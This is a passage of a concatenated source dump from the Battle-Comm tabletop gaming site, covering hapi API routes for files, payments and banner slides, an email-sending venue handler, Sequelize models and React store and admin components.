nodemailer.createTransport(({ 'service': 'Gmail', 'auth': { 'type': 'OAuth2', 'clientId': env.email.OAuth2.clientId, 'clientSecret': env.email.OAuth2.clientSecret } })); // Product Route Configs let venues = { create: (request, reply) => { request.payload.venueEvent.eventDate = formatJSONDate(request.payload.venueEvent.eventDate); let totalPoints = 0; request.payload.players.forEach((player) => { totalPoints += player.pointsEarned; }); models.User.find({ 'where': { 'username': request.payload.venueEvent.adminUsername } }).then((user) => { user.decrement({ 'rpPool': totalPoints }).then((user) => { let adminMailConfig = { 'from': env.email.user, 'to': env.email.user, 'subject': `Venue RP Assignment: ${request.payload.venueEvent.venueName}, ${request.payload.venueEvent.eventDate}`, 'html': buildPointAssignmentEmail(request.payload, user.rpPool), 'service': 'Gmail', 'auth': { 'user': env.email.user, 'refreshToken': env.email.OAuth2.refreshToken } }; transporter.sendMail(adminMailConfig, (error, info) => { if (error) { console.log(error); reply('E-mail failed to send. Check server configuration.').code(400); } else { // Forward mail to venueAdmin adminMailConfig.to = request.payload.venueEvent.returnEmail; adminMailConfig.subject = 'BC: Copy of RP Submission'; transporter.sendMail(adminMailConfig, (error, info) => { if (error) { console.log(error); } reply({ 'rpPool': user.rpPool }).code(200); }); } }); }) }); } }; export default venues; <file_sep>/compiled-server/routes/api/files.js 'use strict'; var _joi = require('joi'); var _joi2 = _interopRequireDefault(_joi); var _handlers = require('../handlers'); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } module.exports = [ // Files { 'method': 'POST', 'path': '/api/files', 'handler': _handlers.files.create, 'config': { 'tags': ['api'], 'description': 'Add file details', 'notes': 'Add file details', 'validate': { 'payload': { 'AchievementId': _joi2.default.optional(), 'BannerSlideId': _joi2.default.optional(), 'GameSystemId': _joi2.default.optional(), 'ManufacturerId': _joi2.default.optional(), 'NewsPostId': _joi2.default.optional(), 'ProductId': _joi2.default.optional(), 'UserId': _joi2.default.optional(), 'UserAchievementId': _joi2.default.optional(), 'identifier': _joi2.default.string().valid('achievement', 'playerIcon', 'photoStream', 'newsPostPhoto', 'gameSystemPhoto', 'manufacturerPhoto', 'productPhoto', 'productPhotoFront', 'productPhotoBack', 'bannerImage').required(), 'locationUrl': _joi2.default.string().required(), 'label': _joi2.default.optional(), 'name': _joi2.default.string().required(), 'size': _joi2.default.number().required(), 'type': _joi2.default.string().required() } }, 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'cors': { 'origin': ['*'] } } }, { 'method': 'PUT', 'path': '/api/files/{id}', 'handler': _handlers.files.update, 'config': { 'tags': ['api'], 'description': 'Update file details', 'notes': 'Update file details', 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'AchievementId': _joi2.default.optional(), 'BannerSlideId': _joi2.default.optional(), 'GameSystemId': _joi2.default.optional(), 'ManufacturerId': _joi2.default.optional(), 'NewsPostId': _joi2.default.optional(), 'ProductId': _joi2.default.optional(), 'UserId': _joi2.default.optional(), 'UserAchievementId': _joi2.default.optional(), 'identifier': _joi2.default.string().valid('achievement', 'playerIcon', 'photoStream', 'newsPostPhoto', 'gameSystemPhoto', 'manufacturerPhoto', 'productPhoto', 'productPhotoFront', 'productPhotoBack', 'bannerImage').required(), 'locationUrl': _joi2.default.string().required(), 'label': _joi2.default.optional(), 'name': _joi2.default.string().required(), 'size': _joi2.default.number().required(), 'type': _joi2.default.string().required() } }, 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'cors': { 'origin': ['*'] } } }, { 'method': 'POST', 'path': '/api/files/add', 'handler': _handlers.files.add, 'config': { 'payload': { 'output': 'stream', 'maxBytes': 209715200, 'parse': true, 'allow': 'multipart/form-data' }, 'tags': ['api'], 'description': 'Upload a new file', 'notes': 'Upload a new file', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'cors': { 'origin': ['*'] } } }, { 'method': 'GET', 'path': '/api/files', 'handler': _handlers.files.getAll, 'config': { 'tags': ['api'], 'description': 'Get all files', 'notes': 'Get all files', 'cors': { 'origin': ['*'] } } }, { 'method': 'DELETE', 'path': '/api/files/{id}', 'handler': _handlers.files.delete, 'config': { 'tags': ['api'], 'description': 'Delete a file by id', 'notes': 'Delete a file by id', 'validate': { 'params': { 'id': _joi2.default.number().required() } }, 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'cors': { 'origin': ['*'] } } }];<file_sep>/compiled-server/models/faction.js 'use strict'; module.exports = function (sequelize, DataTypes) { var Faction = sequelize.define('Faction', { 'name': DataTypes.STRING }, { 'classMethods': { associate: function associate(models) { Faction.belongsTo(models.GameSystem); Faction.hasMany(models.FactionRanking); Faction.hasMany(models.NewsPost); Faction.hasMany(models.Product); } } }); return Faction; };<file_sep>/src/components/ViewWrapper.jsx 'use strict'; import React from 'react'; import PropTypes from 'prop-types'; export default class ViewWrapper extends React.Component { constructor() { super(); } render() { return ( <div className="content-view"> { this.props.container === 'default' && <div className="content-box-container"> <div className="box-12"> <div className="box-top"> <div className="box-corner-tl"></div> <div className="box-bar-top"><div className="bar"> { this.props.headerImage && <div className="title large"><img src={this.props.headerImage} alt={this.props.headerAlt} /></div> } </div></div> <div className="box-corner-tr"></div> </div> <div className="box-middle"> <div className="box-bar-left"></div> <div className="box-content"> {this.props.children} </div> <div className="box-bar-right"></div> </div> <div className="box-bottom"> <div className="box-corner-bl"></div> <div className="box-bar-bottom"><div className="bar"></div></div> <div className="box-corner-br"></div> </div> </div> </div> } </div> ) } } ViewWrapper.propTypes = { 'container': PropTypes.string, 'headerImage': PropTypes.string, 'headerAlt': PropTypes.string } ViewWrapper.defaultProps = { 'container': 'default', 'headerAlt': 'Battle-Comm' } <file_sep>/compiled-server/routes/api/payments.js 'use strict'; var _joi = require('joi'); var _joi2 = _interopRequireDefault(_joi); var _handlers = require('../handlers'); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } module.exports = [ // Payments { 'method': 'POST', 'path': '/api/payments/subscriptions', 'config': { 'tags': ['api'], 'description': 'Create a new subscription', 'notes': 'Create a new subscription', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'eventAdmin'] }, 'validate': { 'payload': { 'UserId': _joi2.default.number().required(), 'token': _joi2.default.optional(), 'plan': _joi2.default.string().required(), 'email': _joi2.default.string().required(), 'description': _joi2.default.string().required() } } }, 'handler': _handlers.payments.createSubscription }, { 'method': 'GET', 'path': '/api/payments/subscriptions', 'config': { 'tags': ['api'], 'description': 'Get all available subscriptions', 'notes': 'Get all available subscriptions', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'eventAdmin'] } }, 'handler': _handlers.payments.getSubscriptionPlans }, { 'method': 'GET', 'path': '/api/payments/getCustomer/{id}', 'config': { 'tags': ['api'], 'description': 'Get customer by Id', 'notes': 'Get customer by Id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'eventAdminSubscriber'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() } } }, 'handler': _handlers.payments.getCustomer }, { 'method': 'POST', 'path': '/api/payments/payShippingCost/{id}', 'config': { 'tags': ['api'], 'description': 'Request new purchase', 'notes': 'Request new purchase', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'token': _joi2.default.string().required(), 'details': _joi2.default.object().keys({ 'email': _joi2.default.string().required(), 'description': _joi2.default.string().required(), 'shippingCost': _joi2.default.number().precision(2).required() }) } } }, 'handler': _handlers.payments.payShippingCost }, { 'method': 'POST', 'path': '/api/payments/purchaseRP/{id}', 'config': { 'tags': ['api'], 'description': 'Request new purchase', 'notes': 'Request new purchase', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'token': _joi2.default.string().required(), 'details': _joi2.default.object().keys({ 'email': _joi2.default.string().required(), 'description': _joi2.default.string().required(), 'priceIndex': _joi2.default.number().required() }) } } }, 'handler': _handlers.payments.purchaseRP }];<file_sep>/compiled-server/utils/verifyResetToken.js 'use strict'; var _jsonwebtoken = require('jsonwebtoken'); var _jsonwebtoken2 = _interopRequireDefault(_jsonwebtoken); var _envVariables = require('../../envVariables'); var _envVariables2 = _interopRequireDefault(_envVariables); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var verifyResetToken = function verifyResetToken(token) { var decoded = void 0; try { decoded = _jsonwebtoken2.default.verify(token, _envVariables2.default.secret); } catch (error) { return false; } if (!decoded) { return false; } else { return decoded; } }; module.exports = verifyResetToken;<file_sep>/src/components/pages/admin/AdminDashboard.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {AlertActions} from '../../../library/alerts'; import BannerSlideManagement from '../../pieces/BannerSlideManagement'; import RewardPointPurchase from '../../pieces/RewardPointPurchase'; import AchievementDistribution from '../../pieces/AchievementDistribution'; import RPDistributionManagement from '../../pieces/RPDistributionManagement'; import ViewWrapper from '../../ViewWrapper'; import AdminMenu from '../../pieces/AdminMenu'; import roleConfig from '../../../../roleConfig'; import createAccessControl from '../../../library/authentication/components/AccessControl'; const AccessControl = createAccessControl(roleConfig); const mapStateToProps = (state) => { return { 'currentUser': state.user, 'forms': state.forms } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert }, dispatch); } class AdminDashboard extends React.Component { constructor() { super(); this.state = {} } componentDidMount() { document.title = "Battle-Comm | Admin Dashboard"; } render() { return ( <ViewWrapper headerImage="/images/Titles/Admin_Dashboard.png" headerAlt="Admin Dashboard"> <div className="row"> <div className="small-12 columns"> <hr/> <AdminMenu></AdminMenu> <hr/> </div> </div> <AccessControl access={['eventAdmin']} element="div" customClass="row"> <RewardPointPurchase user={this.props.currentUser} forms={this.props.forms}></RewardPointPurchase> </AccessControl> <hr/> <AccessControl access={['systemAdmin']} element="div" customClasses="row"> <AchievementDistribution user={this.props.currentUser} forms={this.props.forms}></AchievementDistribution> </AccessControl> <AccessControl access={['systemAdmin']} element="div" customClasses="row"> <RPDistributionManagement user={this.props.currentUser} forms={this.props.forms}></RPDistributionManagement> </AccessControl> <hr/> <AccessControl access={['systemAdmin']} element="div" customClasses="row"> <BannerSlideManagement></BannerSlideManagement> </AccessControl> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(AdminDashboard)); <file_sep>/server/routes/api/bannerSlides.js 'use strict'; import Joi from 'joi'; import { bannerSlides } from '../handlers'; module.exports = [ // News Posts { 'method': 'GET', 'path': '/api/bannerSlides/{id}', 'config': { 'tags': ['api'], 'description': 'Get one bannerSlide by id', 'notes': 'Get one bannerSlide by id', 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': bannerSlides.get }, { 'method': 'GET', 'path': '/api/bannerSlides', 'config': { 'tags': ['api'], 'description': 'Get all bannerSlides', 'notes': 'Get all bannerSlides' }, 'handler': bannerSlides.getAll }, { 'method': 'POST', 'path': '/api/bannerSlides', 'config': { 'tags': ['api'], 'description': 'Add a new bannerSlide', 'notes': 'Add a new bannerSlide', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['newsContributor', 'systemAdmin'] }, 'validate': { 'payload': { 'index': Joi.optional(), 'actionText': Joi.string().required(), 'pageName': Joi.string().required(), 'title': Joi.string().required(), 'text': Joi.string().required(), 'priority': Joi.number().required(), 'link': Joi.optional(), 'isActive': Joi.optional() } } }, 'handler': bannerSlides.create }, { 'method': 'PUT', 'path': '/api/bannerSlides/{id}', 'config': { 'tags': ['api'], 'description': 'Update a bannerSlide by id', 'notes': 'Update a bannerSlide by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['newsContributor', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'id': Joi.optional(), 'createdAt': Joi.optional(), 'updatedAt': Joi.optional(), 'File': Joi.optional(), 'index': Joi.optional(), 'actionText': Joi.string().required(), 'pageName': Joi.string().required(), 'title': Joi.string().required(), 'text': Joi.string().required(), 'priority': Joi.number().required(), 'link': Joi.optional(), 'isActive': Joi.optional() } } }, 'handler': bannerSlides.update }, { 'method': 'DELETE', 'path': '/api/bannerSlides/{id}', 'config': { 'tags': ['api'], 'description': 'Delete a bannerSlide by id', 'notes': 'Delete a bannerSlide by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['newsContributor', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': bannerSlides.delete } ]; <file_sep>/src/reducers/bannerSlides.js 'use strict'; import BannerSlideConstants from '../constants/BannerSlideConstants'; const bannerSlide = (state = {}, action) => { switch (action.type) { case BannerSlideConstants.GET_BANNER_SLIDE: return Object.assign({}, state, action.data); case BannerSlideConstants.CREATE_BANNER_SLIDE: return Object.assign({}, state, action.data); case BannerSlideConstants.UPDATE_BANNER_SLIDE: return Object.assign({}, state, action.data); default: return state; } }; const bannerSlides = (state = [], action) => { switch (action.type) { case BannerSlideConstants.GET_BANNER_SLIDES: return [...action.data]; case BannerSlideConstants.CREATE_BANNER_SLIDE: return [ ...state, bannerSlide(undefined, action) ]; case BannerSlideConstants.REMOVE_BANNER_SLIDE: let bannerSlideArray = [...state]; let index = state.findIndex((bannerSlide) => bannerSlide.id === action.data); if (index !== -1) { bannerSlideArray.splice(index, 1); } return bannerSlideArray; default: return state; } } export { bannerSlide, bannerSlides }; <file_sep>/src/library/validations/index.js 'use strict'; // Components import Form from './components/Form'; import Input from './components/Input'; import TextArea from './components/TextArea'; import Select from './components/Select'; import RadioGroup from './components/RadioGroup'; import CheckBox from './components/CheckBox'; import DatePicker from './components/DatePicker'; import FileUpload from './components/FileUpload'; // Everything else import FormActions from './actions/FormActions'; import {forms} from './reducers'; import getFormErrorCount from './utilities/getFormErrorCount'; import getInput from './utilities/getInput'; export { Form, Input, TextArea, Select, RadioGroup, CheckBox, DatePicker, FileUpload, FormActions, forms, getInput, getFormErrorCount } <file_sep>/src/components/pages/store/Store.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import noUiSlider from 'nouislider'; import wNumb from 'wnumb'; import {PaginationControls} from '../../../library/pagination'; import ViewWrapper from '../../ViewWrapper'; import {CartActions} from '../../../library/cart'; import ProductActions from '../../../actions/ProductActions'; import ManufacturerService from '../../../services/ManufacturerService'; const mapStateToProps = (state) => { return { 'cartQtyPlaceholders': state.cartQtyPlaceholders, 'products': state.products } }; const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addToCart': CartActions.add, 'updateItemTotal': CartActions.update, 'searchProducts': ProductActions.search }, dispatch); }; let timer, priceSlider; let _sliderStart = 0; let _sliderEnd = 10000; class Store extends React.Component { constructor() { super(); this.state = { 'orderBy': 'updatedAt', 'pagination': {}, 'pageSize': 15, 'qtyPlaceholders': {}, 'searchQuery': '', 'sliderStart': _sliderStart, 'sliderEnd': _sliderEnd, 'selectedManufacturer': '', 'manufacturers': [] } this.handleFilterReset = this.handleFilterReset.bind(this); this.handleGameSystemChange = this.handleGameSystemChange.bind(this); this.handleManufacturerChange = this.handleManufacturerChange.bind(this); this.handleOrderChange = this.handleOrderChange.bind(this); this.handlePageChange = this.handlePageChange.bind(this); this.handlePageSizeChange = this.handlePageSizeChange.bind(this); this.handleQueryChange = this.handleQueryChange.bind(this); } componentDidMount() { document.title = "Battle-Comm | Store"; ManufacturerService.getAll().then((manufacturers) => { this.setState({ 'manufacturers': manufacturers }) }); this.handlePageChange(1); priceSlider = document.getElementById('price-slider'); noUiSlider.create(priceSlider, { 'start': [_sliderStart, _sliderEnd], 'behaviour': 'tap-drag', 'connect': [false, true, false], 'gameSystems': [], 'step': 1, 'range': { 'min': _sliderStart, 'max': _sliderEnd }, 'format': wNumb({ 'decimals': 0, 'thousand': ',' }) }); priceSlider.noUiSlider.on('update', (values, handle) => { this.setState({ 'sliderStart': values[0], 'sliderEnd': values[1] }); }); priceSlider.noUiSlider.on('end', (values, handle) => { let bottom = values[0]; let top = values[1]; bottom = bottom.replace(/\,/g, ''); bottom = parseInt(bottom, 10); top = top.replace(/\,/g, ''); top = parseInt(top, 10); this.handlePageChange(1, bottom, top); }); } componentWillReceiveProps(nextProps) { // TODO: Improve logic so this doesn't get called too often this.setState({ 'qtyPlaceholders': Object.assign({}, nextProps.cartQtyPlaceholders) }); } componentWillUnmount() { if (timer) { clearTimeout(timer); } priceSlider.noUiSlider.off(); } addToCart(product, e) { if (e) { e.preventDefault(); } let quantity = 1; if (this.state.qtyPlaceholders[product.id]) { quantity = this.state.qtyPlaceholders[product.id] > 0 ? this.state.qtyPlaceholders[product.id] : 1; } if (this.state.qtyPlaceholders[product.id] !== '') { this.props.addToCart(product, quantity); } } getProductImage(side, product) { let image; if (!product.Files || product.Files.length < 1) { return '/uploads/rpStore/defaultImage.jpg'; } if (side === 'front') { image = product.Files.filter(file => file.identifier === 'productPhotoFront'); } else if (side === 'back') { image = product.Files.filter(file => file.identifier === 'productPhotoBack'); } return image[0].locationUrl + image[0].name; } handleFilterReset() { this.setState({ 'pageSize': 20, 'orderBy': 'updatedAt', 'searchQuery': '', 'sliderStart': _sliderStart, 'sliderEnd': _sliderEnd }, () => { priceSlider.noUiSlider.reset(); this.handlePageChange(1); }); } handleGameSystemChange(e) { let id = e.target.value; this.setState({ 'selectedGameSystem': id ? id : '' }, () => { this.handlePageChange(1); }); } handleManufacturerChange(e) { let id = e.target.value; let gameSystems = []; if (id) { let manufacturer = this.state.manufacturers.find((manufacturer) => manufacturer.id == id); gameSystems = manufacturer.GameSystems; } this.setState({ 'selectedManufacturer': id ? id : '', 'gameSystems': gameSystems, 'selectedGameSystem': '' }, () => { this.handlePageChange(1); }); } handleOrderChange(e) { this.setState({ 'orderBy': e.target.value }, () => { this.handlePageChange(1); }); } handlePageChange(pageNumber = 1, minPrice = _sliderStart, maxPrice = _sliderEnd) { this.props.searchProducts({'pageNumber': pageNumber, 'searchQuery': this.state.searchQuery, 'orderBy': this.state.orderBy, 'pageSize': this.state.pageSize, 'minPrice': minPrice, 'maxPrice': maxPrice, 'manufacturerId': this.state.selectedManufacturer, 'gameSystemId': this.state.selectedGameSystem, 'storeView': true}).then((pagination) => { this.setState({ 'pagination': pagination }); }); } handlePageSizeChange(e) { this.setState({ 'pageSize': e.target.value }, () => { this.handlePageChange(1); }); } handleQuantityChange(productId, e) { e.preventDefault(); let value = e.target.value; if (value === '' || (!isNaN(value) && value % 1 === 0)) { let qtyPlaceholders = this.state.qtyPlaceholders; qtyPlaceholders[productId] = value; this.setState({ 'qtyPlaceholders': qtyPlaceholders }); } } handleQueryChange(e) { if (timer) { clearTimeout(timer); } this.setState({ 'searchQuery': e.target.value }, () => { timer = setTimeout(() => { this.handlePageChange(1); }, 500); }); } updateItemTotal(product, e) { if (e) { e.preventDefault(); } let quantity = 0; if (this.state.qtyPlaceholders[product.id]) { quantity = this.state.qtyPlaceholders[product.id]; } if (this.state.qtyPlaceholders[product.id] !== '') { this.props.updateItemTotal(product, quantity); } } render() { return ( <ViewWrapper headerImage="/images/Titles/Store.png" headerAlt="Store"> <div className="row product-listing"> <div className="small-12 medium-4 large-3 columns"> <div className="panel push-bottom-2x"> <div className="panel-title color-black"> Search Filter </div> <div className="panel-content"> <input name="searchQuery" type="text" onChange={this.handleQueryChange} value={this.state.searchQuery} placeholder="Begin typing to filter results"/> </div> </div> <div className="panel push-bottom-2x"> <div className="panel-title color-black"> Manufacturer </div> <div className="panel-content"> <select name="selectedManufacturer" onChange={this.handleManufacturerChange} value={this.state.selectedManufacturer}> <option value="">All Manufacturers</option> { this.state.manufacturers.map((manufacturer) => <option key={manufacturer.id} value={manufacturer.id}>{manufacturer.name}</option> ) } </select> </div> </div> { this.state.selectedManufacturer && <div className="panel push-bottom-2x"> <div className="panel-title color-black"> Game System </div> <div className="panel-content"> <select name="selectedManufacturer" onChange={this.handleGameSystemChange} value={this.state.selectedGameSystem}> <option value="">All Systems</option> { this.state.gameSystems.map((gameSystem) => <option key={gameSystem.id} value={gameSystem.id}>{gameSystem.name}</option> ) } </select> </div> </div> } <div className="panel push-bottom-2x"> <div className="panel-title color-black"> Price Filter </div> <div className="panel-content"> <div id="price-slider"></div> <div className="price-labels"> <span>{this.state.sliderStart} RP</span> <span>{this.state.sliderEnd} RP</span> </div> </div> </div> <div className="panel push-bottom-2x"> <div className="panel-title color-black"> Order By </div> <div className="panel-content"> <select name="orderBy" onChange={this.handleOrderChange} value={this.state.orderBy}> <option value="createdAt">Created Date</option> <option value="updatedAt">Last Updated</option> <option value="name">Product Name</option> <option value="price">Product Price</option> </select> </div> </div> <div className="panel push-bottom-2x"> <div className="panel-title color-black"> Items Per Page </div> <div className="panel-content"> <select name="pageSize" onChange={this.handlePageSizeChange} value={this.state.pageSize}> <option value="10">10</option> <option value="20">20</option> <option value="50">50</option> <option value="100">100</option> </select> </div> </div> <div className="panel push-bottom-2x"> <div className="panel-title color-black"> Reset Search Filters </div> <div className="panel-content text-center"> <button className="button black small-12" onClick={this.handleFilterReset}><span className="fa fa-refresh"> </span>Reset</button> </div> </div> </div> <div className="small-12 medium-8 large-9 columns"> <div className="products-container"> { this.props.products.map((product, i) => <div key={product.id} className="product-box"> <div className="flip-container"> <Link to={`/store/products/${product.id}`} className="flipper"> <div className="front"> <img src={this.getProductImage.call(this, 'front', product)} alt={product.name} /> </div> <div className="back"> <img src={this.getProductImage.call(this, 'back', product)} alt={product.name}/> </div> </Link> </div> <div className="product-details"> <div className="product-name text-center"> <Link to={`/store/products/${product.id}`}>{product.name}</Link> </div> <div className="price text-center"> <strong>{product.price} RP</strong> </div> <div className="small-12 columns select-qty"> { (this.state.qtyPlaceholders[product.id] === undefined || (this.state.qtyPlaceholders[product.id] < 5 && this.state.qtyPlaceholders[product.id] !== '')) && <select value={this.state.qtyPlaceholders[product.id]} onChange={this.handleQuantityChange.bind(this, product.id)}> <option value={0}>0</option> <option value={1}>1</option> <option value={2}>2</option> <option value={3}>3</option> <option value={4}>4</option> <option value={5}>More...</option> </select> } { (this.state.qtyPlaceholders[product.id] >= 5 || this.state.qtyPlaceholders[product.id] === '') && <input type="number" value={this.state.qtyPlaceholders[product.id]} onChange={this.handleQuantityChange.bind(this, product.id)} step="1"/> } </div> <div className={this.props.cartQtyPlaceholders[product.id] >= 1 ? 'small-12 columns actions text-center in-cart' : 'small-12 columns actions text-center'}> { (this.props.cartQtyPlaceholders[product.id] >= 1 || this.props.cartQtyPlaceholders[product.id] === '') ? <button className="button secondary" onClick={this.updateItemTotal.bind(this, product)}>Update Total</button> : <button className="button primary" onClick={this.addToCart.bind(this, product)}>Add To Cart</button> } <Link className="button black" to={`/store/products/${product.id}`}>More Details</Link> </div> </div> </div> ) } </div> </div> </div> <div className="row"> <div className="small-12 columns"> <PaginationControls pageNumber={this.state.pagination.pageNumber} pageSize={this.state.pagination.pageSize} totalPages={this.state.pagination.totalPages} totalResults={this.state.pagination.totalResults} handlePageChange={this.handlePageChange.bind(this)}></PaginationControls> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(Store)); <file_sep>/src/components/pages/store/Product.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {CartActions} from '../../../library/cart'; import ViewWrapper from '../../ViewWrapper'; import ProductService from '../../../services/ProductService'; const mapStateToProps = (state) => { return { 'cartQtyPlaceholders': state.cartQtyPlaceholders } }; const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addToCart': CartActions.add, 'updateItemTotal': CartActions.update }, dispatch); }; class Product extends React.Component { constructor() { super(); this.state = { 'product': { 'Files': [] }, 'qtyPlaceholders': {} } this.getImageFront = this.getImageFront.bind(this); } componentDidMount() { document.title = "Battle-Comm | Product"; if (!this.props.match.params.productId) { this.props.history.push('/products'); } else { ProductService.get(this.props.match.params.productId).then((product) => { this.setState({ 'product': product, 'qtyPlaceholders': Object.assign({}, this.props.cartQtyPlaceholders) }); }); } } componentWillReceiveProps(nextProps) { // TODO: Improve logic so this doesn't get called too often this.setState({ 'qtyPlaceholders': Object.assign({}, nextProps.cartQtyPlaceholders) }); } addToCart(product, e) { if (e) { e.preventDefault(); } let quantity = 1; if (this.state.qtyPlaceholders[product.id]) { quantity = this.state.qtyPlaceholders[product.id] > 0 ? this.state.qtyPlaceholders[product.id] : 1; } if (this.state.qtyPlaceholders[product.id] !== '') { this.props.addToCart(product, quantity); } } getImageFront() { let file = this.state.product.Files.find((file) => { return file.identifier = 'productPhotoFront'; }); if (file) { return `${file.locationUrl}${file.name}`; } else { return false; } } handleQuantityChange(productId, e) { e.preventDefault(); let value = e.target.value; if (value === '' || (!isNaN(value) && value % 1 === 0)) { let qtyPlaceholders = this.state.qtyPlaceholders; qtyPlaceholders[productId] = value; this.setState({ 'qtyPlaceholders': qtyPlaceholders }); } } updateItemTotal(product, e) { if (e) { e.preventDefault(); } let quantity = 0; if (this.state.qtyPlaceholders[product.id]) { quantity = this.state.qtyPlaceholders[product.id]; } if (this.state.qtyPlaceholders[product.id] !== '') { this.props.updateItemTotal(product, quantity); } } render() { let product = this.state.product; return ( <ViewWrapper headerImage="/images/Titles/Product_Details.png" headerAlt="Product Details"> <div className="product-details"> <div className="row"> <div className="small-12 columns"> <h1 className="ribbon">Product {product.name}</h1> </div> <hr /> </div> <div className="row"> <div className="small-12 medium-8 large-9 columns"> <div className="small-12 medium-6 columns"> { this.getImageFront() && <img src={this.getImageFront()} /> } </div> <div className="small-12 medium-6 columns"> <h3><strong>Product Description</strong></h3> <p>{product.description}</p> </div> </div> <div className="small-12 medium-4 large-3 columns"> <div className="panel push-bottom-2x push-top"> <div className="panel-title color-black"> Item Actions </div> <div className="panel-content"> <h3 className="text-center">{product.price} RP</h3> <label>Quantity</label> { (this.state.qtyPlaceholders[product.id] === undefined || (this.state.qtyPlaceholders[product.id] < 5 && this.state.qtyPlaceholders[product.id] !== '')) && <select value={this.state.qtyPlaceholders[product.id]} onChange={this.handleQuantityChange.bind(this, product.id)}> <option value={0}>0</option> <option value={1}>1</option> <option value={2}>2</option> <option value={3}>3</option> <option value={4}>4</option> <option value={5}>More...</option> </select> } { (this.state.qtyPlaceholders[product.id] >= 5 || this.state.qtyPlaceholders[product.id] === '') && <input type="number" value={this.state.qtyPlaceholders[product.id]} onChange={this.handleQuantityChange.bind(this, product.id)} step="1"/> } <div className="row"> <div className={this.props.cartQtyPlaceholders[product.id] >= 1 ? 'small-12 columns actions text-center in-cart' : 'small-12 columns actions text-center'}> { (this.props.cartQtyPlaceholders[product.id] >= 1 || this.props.cartQtyPlaceholders[product.id] === '') ? <button className="button secondary" onClick={this.updateItemTotal.bind(this, product)}>Update Total</button> : <button className="button primary" onClick={this.addToCart.bind(this, product)}>Add To Cart</button> } <Link className="button black" to={`store/products/${product.id}`}>More Details</Link> </div> </div> </div> </div> <div className="panel push-bottom-2x push-top"> <div className="panel-content text-center"> <Link to="/store/cart" className="button primary small-12">Review Cart</Link> <Link to="/store/checkout" className="button secondary small-12 collapse">Go to Checkout</Link> </div> </div> </div> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(Product)); <file_sep>/compiled-server/routes/handlers/index.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.venues = exports.users = exports.userPhotos = exports.userNotifications = exports.userAchievements = exports.userFriends = exports.products = exports.productOrders = exports.payments = exports.newsPosts = exports.manufacturers = exports.gameSystems = exports.gameSystemRankings = exports.files = exports.factions = exports.factionRankings = exports.bannerSlides = exports.achievements = undefined; var _achievements = require('./achievements'); var _achievements2 = _interopRequireDefault(_achievements); var _bannerSlides = require('./bannerSlides'); var _bannerSlides2 = _interopRequireDefault(_bannerSlides); var _factionRankings = require('./factionRankings'); var _factionRankings2 = _interopRequireDefault(_factionRankings); var _factions = require('./factions'); var _factions2 = _interopRequireDefault(_factions); var _files = require('./files'); var _files2 = _interopRequireDefault(_files); var _gameSystemRankings = require('./gameSystemRankings'); var _gameSystemRankings2 = _interopRequireDefault(_gameSystemRankings); var _gameSystems = require('./gameSystems'); var _gameSystems2 = _interopRequireDefault(_gameSystems); var _manufacturers = require('./manufacturers'); var _manufacturers2 = _interopRequireDefault(_manufacturers); var _newsPosts = require('./newsPosts'); var _newsPosts2 = _interopRequireDefault(_newsPosts); var _payments = require('./payments'); var _payments2 = _interopRequireDefault(_payments); var _productOrders = require('./productOrders'); var _productOrders2 = _interopRequireDefault(_productOrders); var _products = require('./products'); var _products2 = _interopRequireDefault(_products); var _userFriends = require('./userFriends'); var _userFriends2 = _interopRequireDefault(_userFriends); var _userAchievements = require('./userAchievements'); var _userAchievements2 = _interopRequireDefault(_userAchievements); var _userNotifications = require('./userNotifications'); var 